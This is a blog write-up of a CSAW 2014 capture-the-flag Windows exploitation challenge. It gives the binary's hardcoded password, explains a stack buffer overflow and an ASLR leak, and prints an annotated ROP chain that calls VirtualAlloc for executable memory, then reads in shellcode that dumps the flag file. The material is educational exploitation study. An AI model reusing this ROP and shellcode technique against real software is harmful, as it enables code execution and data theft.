Monday, September 22, 2014

CSAW14 Exploitation 400 - Greenhornd Write-Up

This was a windows exploitation challenge and was incredibly easy, overvalued and under solved.

When the binary is first run, or connected to, it asks for a password, it can be found with strings or just by looking at the dissassembly.

.text:00D8105C 414 push    offset Str2     ; "GreenhornSecretPassword!!!"
.text:00D81061 418 lea     ecx, [ebp+Str1]
.text:00D81067 418 push    ecx             ; Str1
.text:00D81068 41C call    ds:strncmp
.text:00D8106E 41C add     esp, 0Ch
.text:00D81071 410 test    eax, eax
.text:00D81073 410 jz      short loc_


After the password is successfully entered, you're presented with a menu.

Greenhorn Menu:
--------------
        (D)ebugging
        (S)tatic Analysis
        S(h)ellcode
        (A)SLR
        (N)X/DEP
        (V)ulnerability
        (Q)uit

Selection:


There are two options on this menu that need to be used to exploit the vulnerability. The first option is the ASLR option. At the end of the text it presents you that describes how ASLR works on windows it contains the exebase-0x00400000 and ebp-08h. The exebase allows us to use ROP chains from the executable, and ebp-08h gives us a stack address we can use for offsets.

The actual vulnerability was a buffer overflow. The Vulnerability page asked for exactly 1024 bytes of data, the length of the buffer, but it read in 2048 bytes of data.

Besides ROP gadgets my ROP chain called two functions in the binary. The first did a call to VirtualAlloc that I could control to set flProtect to PAGE_EXECUTE_READWRITE and the second read in the shellcode to that new allocation.

.text:00D811C0     ; int __cdecl CallsVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flProtect, int *memAddr)

The way I called this function was CallsVirtualAlloc(NULL, 0x2048, PAGE_EXECUTE_READWRITE, stackAddr);

The address of the allocated memory would be stored in that last parameter.

The second function I called was

00D81600     ; int __cdecl ReadBytes(char *destBuffer, int nBytes, char stopChar)

It would read either nBytes or until it encountered stopChar from stdin into the destBuffer. When connecting remotely stdin/out was redirected to the socket.

My ROP chain ended up being

ropstack  = padr(0x00D811C0) #Calls virtual alloc

ropstack += padr(0x00D81204) #VirtualAlloc ret addr, add esp 0Ch; mov eax, [ebp+8]; pop ebp; retn;
                             #That ROP chain effectively doess add esp, 10h;

ropstack += pvar(0x00000000) #lpAddress
ropstack += pvar(0x00002048) #dwSize)
ropstack += pvar(0x00000040) #PAGE_EXE_RW
ropstack += pvar(stack-0x400)#where to store ret addr

ropstack += padr(0x00D81DA6) #pop ecx; pop ebp; retn
                             #we need to set ECX to a dereferenceable address so that the next ROP chain doesn't crash
ropstack += pvar(stack-0x300)#ecx value
ropstack += pvar(stack+0x0C) #ebp value
ropstack += padr(0x00D811DD) #mov [ecx], eax; mov edx, [ebp+14h]; mov eax, [edx]; pop ebp; retn;
                             #This ROP gadget lets me get the address of the allocated memory off of the stack
                             #and into a register

ropstack += pvar(stack+0x54) #ebp value
ropstack += padr(0x00D81CE8) #mov [ebp-8], eax; lea eax, [ebp-10h]; mov large fs:0, eax; retn;
                             #I used this rop chain twice to overwrite the parameters passed to ReadBytes
                             #below

ropstack += padr(0x00D811E2) #mov eax, [edx]; pop ebp; retn;
ropstack += pvar(stack+0x58) #ebp value
ropstack += padr(0x00D81CE8) #mov [ebp-8], eax; lea eax, [ebp-10h]; mov large fs:0, eax; retn;


ropstack += padr(0x00D81600) #ReadBytes

ropstack += pvar(stack-0x400) #ReadBytes return address(overwritten)

ropstack += pvar(stack-0x400) #DestBuffer(overwritten)
ropstack += pvar(len(shellcode))
ropstack += pvar(0x000000090) #stop char


Full script here

padr() fixes an address for the ASLR slide and packs it, pvar() is just used to the text lines up nicely.

That will get you shellcode execution, the script has a small amount of shellcode embedded in it which gets the base address of kernel32 and places it into EAX. I wrote my shellcode in C and compiled it with MSVC and then extracted the machinecode into a file called gnarlyshellcode. My shellcode walked kernel32's export directory and got the address of the functions CreateFileA, ReadFile, WriteFile, and GetStdHandle. After which the process to send the flag to stdout/socket was very simple.

HANDLE hKeyFile = CreateFileA("key", GENERIC_READ, 7, NULL, 4, FILE_ATTRIBUTE_NORMAL, NULL);
char keyData[100];
ReadFile(hKeyFile, &keyData, 100, NULL, NULL);
WriteFile(GetStdHandle(-11), keyData, 100, NULL, NULL);

No comments:

Post a Comment